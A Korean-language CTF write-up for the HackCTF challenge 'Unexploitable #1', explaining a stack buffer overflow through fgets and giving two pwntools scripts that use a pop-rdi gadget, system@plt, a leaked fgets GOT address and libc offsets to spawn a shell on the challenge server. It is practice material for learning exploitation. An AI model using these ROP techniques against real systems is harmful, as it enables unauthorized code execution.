Wargame/HackCTF
Unexploitable #1
Anatis
2021. 3. 31. 19:49
1. Mitigation
2. 문제 확인
문제를 실행시키면 입력받고 종료를 한다.
3. 풀이
fwrite로 출력을하고 fgets에서 입력을 받는데 BOF가 일어난다. 여기선 gift 함수가 주어진다.
시스템 함수는 일반적으로 인자를 줄때 명령어를 줘야하는데 명령어가 아닌 값을 주면 오류를 일으킨다.
이를 이용해서 fgets got를 leak하여 ROP를 하는 방법이 있지만. 필자는 다른 방법으로 풀고 ROP exploit 코드는 밑에서 확인할 수 있다.
코드에 fflush가 있는데 우리는 이 sh를 이용하여 쉘을 실행할 것 이다. fflush가 0x4003bb이니 sh는 0x4003bf이다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3023)
e = ELF('./Unexploitable_1')
prdi = 0x4007d3
sh = 0x4003bf
system_plt = 0x400560
payload = 'A'*24
payload += p64(prdi)
payload += p64(sh)
payload += p64(system_plt)
r.sendline(payload)
r.interactive()
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3023)
e = ELF('./Unexploitable_1')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
prdi = 0x00000000004007d3
system_plt = e.plt['system']
fgets_got = e.got['fgets']
main = 0x4006DC
payload = 'A'*0x18
payload += p64(prdi)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main)
r.sendlineafter('\n', payload)
print r.recvuntil('1: ')
leak = u64(r.recv(6).ljust(8, '\x00'))
libc = leak - 0x6dad0 # fgets offset
system = libc + 0x045390 # system offset
binsh = libc + 0x18cd57 # binsh offset
print 'libc: ' + hex(libc)
print 'system: ' + hex(system)
print 'binsh: ' + hex(binsh)
payload = 'A'*0x18
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system_plt)
r.sendline(payload)
r.interactive()